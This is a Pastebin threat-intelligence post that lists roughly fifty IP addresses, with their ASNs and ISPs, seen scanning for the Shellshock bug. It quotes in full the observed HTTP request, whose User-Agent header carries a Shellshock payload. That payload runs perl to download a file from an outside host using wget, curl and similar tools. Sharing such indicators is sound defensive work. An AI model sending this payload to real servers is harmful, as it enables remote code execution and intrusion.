Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- These IPs have been seen scanning and attempting shellshock exploits with the following payload:
- (Payload path is 404 at the moment)
- GET <varied PHP paths and files> HTTP/1.1
- Accept: */*
- Accept-Language: en-us
- Accept-Encoding: gzip, deflate
- User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget 46.105.96.205/TEST231;curl 46.105.96.205/TEST231;fetch 46.105.96.205/TEST231;lwp-download 46.105.96.205/TEST231;GET 46.105.96.205/TEST231");'
- Host: 161.253.99.4
- Connection: Close
- 1221 | 101.176.8.40 | ASN-TELSTRA Telstra Pty Ltd,AU
- 2514 | 203.152.193.187 | INFOSPHERE NTT PC Communications, Inc.,JP
- 3269 | 2.115.68.148 | ASN-IBSNAZ Telecom Italia S.p.a.,IT
- 3269 | 2.115.68.149 | ASN-IBSNAZ Telecom Italia S.p.a.,IT
- 3269 | 82.90.58.64 | ASN-IBSNAZ Telecom Italia S.p.a.,IT
- 3329 | 195.97.1.231 | HOL-GR hellas online Electronic Communications S.A.,GR
- 3786 | 106.245.141.202 | LGDACOM LG DACOM Corporation,KR
- 5587 | 212.69.197.225 | ITILITY-LIMITED Itility Limited,GB
- 5587 | 212.69.198.220 | ITILITY-LIMITED Itility Limited,GB
- 5760 | 216.195.184.202 | BIDDEFORD1 - Biddeford Internet Corp,US
- 6503 | 200.38.236.6 | Axtel, S.A.B. de C.V.,MX
- 6724 | 85.214.40.63 | STRATO STRATO AG,DE
- 6830 | 87.207.70.55 | LGI-UPC Liberty Global Operations B.V.,AT
- 6830 | 89.16.193.101 | LGI-UPC Liberty Global Operations B.V.,AT
- 7643 | 203.162.120.135 | VNPT-AS-VN Vietnam Posts and Telecommunications (VNPT),VN
- 7922 | 173.10.16.170 | COMCAST-7922 - Comcast Cable Communications, Inc.,US
- 8151 | 187.210.107.242 | Uninet S.A. de C.V.,MX
- 8151 | 189.143.22.149 | Uninet S.A. de C.V.,MX
- 8167 | 187.52.179.244 | Brasil Telecom S/A - Filial Distrito Federal,BR
- 8167 | 200.215.102.205 | Brasil Telecom S/A - Filial Distrito Federal,BR
- 8167 | 201.67.114.114 | Brasil Telecom S/A - Filial Distrito Federal,BR
- 8560 | 87.106.53.142 | ONEANDONE-AS 1&1 Internet AG,DE
- 8758 | 83.150.11.54 | IWAY Iway AG,CH
- 8972 | 77.236.96.52 | PLUSSERVER-AS PlusServer AG,DE
- 9929 | 210.51.9.193 | CNCNET-CN China Netcom Corp.,CN
- 11340 | 200.2.114.138 | Red Universitaria Nacional,CL
- 11351 | 74.75.22.201 | RR-NYSREGION-ASN-01 - Time Warner Cable Internet LLC,US
- 12741 | 77.252.52.131 | AS-NETIA Netia SA,PL
- 12876 | 212.129.8.252 | AS12876 ONLINE S.A.S.,FR
- 12876 | 62.210.113.143 | AS12876 ONLINE S.A.S.,FR
- 12876 | 62.210.157.90 | AS12876 ONLINE S.A.S.,FR
- 13649 | 64.58.236.61 | ASN-VINS - ViaWest ,US
- 13703 | 208.52.191.253 | BROADRIVER-13703 - BroadRiver Communication Corp.,US
- 15589 | 83.211.47.121 | ASN-CLOUDITALIA CLOUDITALIA TELECOMUNICAZIONI S.P.A.,IT
- 15732 | 83.230.255.70 | IBERBANDA-SPAIN Iberbanda S.A.,ES
- 16276 | 46.105.96.205 | OVH OVH SAS,FR
- 16735 | 201.48.169.157 | ALGAR TELECOM S/A,BR
- 17072 | 187.189.206.125 | TOTAL PLAY TELECOMUNICACIONES SA DE CV,MX
- 19089 | 187.61.1.122 | DH&C Outsourccing S/A.,BR
- 19429 | 200.119.14.242 | ETB - Colombia,CO
- 19994 | 50.56.34.60 | RACKSPACE - Rackspace Hosting,US
- 21058 | 80.83.161.10 | ASN-MEDIAONLINE MEDIA.IT s.r.l,IT
- 22927 | 186.56.42.11 | Telefonica de Argentina,AR
- 25002 | 81.88.231.65 | LINEACOM-AS LINEA COM S R L,IT
- 26496 | 173.201.20.98 | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC,US
- 33070 | 65.61.173.223 | RMH-14 - Rackspace Hosting,US
- 38511 | 115.124.92.83 | TACHYON-AS-ID PT Remala Abadi,ID
- 43205 | 37.143.235.3 | BULSATCOM-BG-AS Bulsatcom AD,BG
- 43350 | 185.66.140.16 | NFORCE NFOrce Entertainment BV,NL
- 55653 | 103.11.96.101 | SKYLINE-AS-ID Skyline Semesta, PT,ID
- 199256 | 185.32.153.115 | LTH-AS Leeson Telecom Holdings Ltd,IE
Advertisement
Add Comment
Please, Sign In to add comment